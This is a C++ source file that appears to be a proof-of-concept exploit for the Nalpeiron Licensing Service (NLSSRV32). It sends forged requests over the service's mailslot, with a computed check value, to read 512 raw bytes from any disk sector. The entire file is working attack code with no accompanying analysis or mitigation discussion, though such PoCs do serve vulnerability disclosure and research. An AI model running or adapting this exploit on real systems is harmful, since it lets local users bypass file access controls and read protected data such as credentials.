// MailOrder.cpp : This file contains the 'main' function. Program execution begins and ends there. // #include #include #define CALL_READ 0x12182003 #define CALL_READ_B 0x12182006 #define SEND_SIZE 0x220 struct ServiceRequest { DWORD call; DWORD pid; DWORD pre_check; DWORD post_check; DWORD drive; DWORD search_bytes; DWORD low_offset; DWORD high_offset; BYTE data[0x200]; }; struct ServiceResponse { DWORD echo; DWORD result; BYTE data[0x208]; }; BOOL send_and_recieve(LPVOID inBuffer, LPVOID outBuffer) { DWORD bytesWritten; CHAR slotName[MAX_PATH]; DWORD pid = GetCurrentProcessId(); sprintf_s((LPSTR)&slotName, MAX_PATH, "%s%d", "\\\\.\\mailslot\\nlsX86ccMailslot", pid); HANDLE outSlot = CreateMailslotA((LPSTR)&slotName, 0, 0xFFFFFFFF, 0); if (outSlot == INVALID_HANDLE_VALUE) { printf("[!] Failed to open our mailslot.\n"); return FALSE; } HANDLE inSlot = CreateFileA("\\\\.\\mailslot\\nlsX86ccMailslot", 0x40000000u, 1u, 0, 3u, 0x80u, 0); if (inSlot == INVALID_HANDLE_VALUE) { printf("[!] Failed to open their mailslot.\n"); return FALSE; } if (!WriteFile(inSlot, inBuffer, SEND_SIZE, &bytesWritten, 0)) { printf("[!] Failed to write message.\n"); return FALSE; } if (!ReadFile(outSlot, outBuffer, SEND_SIZE, &bytesWritten, 0)) { printf("[!] Failed to read message.\n"); return FALSE; } CloseHandle(inSlot); CloseHandle(outSlot); return TRUE; } int get_rand(int v1, int v2) { _SYSTEMTIME SystemTime; UINT seed; if (v2 < v1) return -1; if (v1 == v2) return -2; GetSystemTime(&SystemTime); seed = SystemTime.wSecond + SystemTime.wMinute + SystemTime.wMilliseconds; srand(seed); return v1 + rand() % (v2 - v1 + 1); } unsigned int get_check_val(int in) { DWORD out; out = GetCurrentProcessId(); if (out * in > 0x91D5) return out * in % 0x91D5; if (out * in > 0x6ABD) return out * in % 0x6ABD; if (out * in > 0x625) return out * in % 0x625; if (out * in <= 0x89) return out * in % 0x26; return out * in % 0x89; } // https://stackoverflow.com/questions/10599068/how-do-i-print-bytes-as-hexadecimal static void _print_as_hex(PBYTE buf, size_t buf_len) { size_t i = 0; for (i = 0; i < buf_len; ++i) fprintf(stdout, "%02X%s", buf[i], (i + 1) % 32 == 0 ? "\r\n" : " "); fprintf(stdout, "\r\n\r\n"); } void _usage(int argc, WCHAR* argv[]) { wprintf(L"\nNalpeiron Licensing Service (NLSSRV32) arbitrary disk read\n"); wprintf(L"Reads 512 bytes from the primary disk at a specified offset\n\n"); wprintf(L"Usage:\n\n%s \n\n", argv[0]); } int wmain(int argc, WCHAR* argv[]) { if (argc != 3) { _usage(argc, argv); return 1; } ServiceRequest request = { 0 }; ServiceResponse response = { 0 }; request.call = CALL_READ_B; request.pid = GetCurrentProcessId(); request.pre_check = get_rand(100, 1000); request.post_check = get_check_val(request.pre_check); request.drive = argv[1][0]; request.low_offset = _wtoi(argv[2]); if (request.low_offset != 0 && (request.low_offset % 512 != 0)) { printf("[!] Offset needs to be a multiple of 512"); return 1; } printf("[+] Requesting sector from %c: at offset %d ...\n", request.drive, request.low_offset); if (!send_and_recieve(&request, &response)) { return 1; } if (response.result != 0) { printf("[!] Service returned code: %d\n\n", response.result); return 1; } printf("[+] Drive data [hex]:\n\n"); _print_as_hex(response.data, 512); return 0; }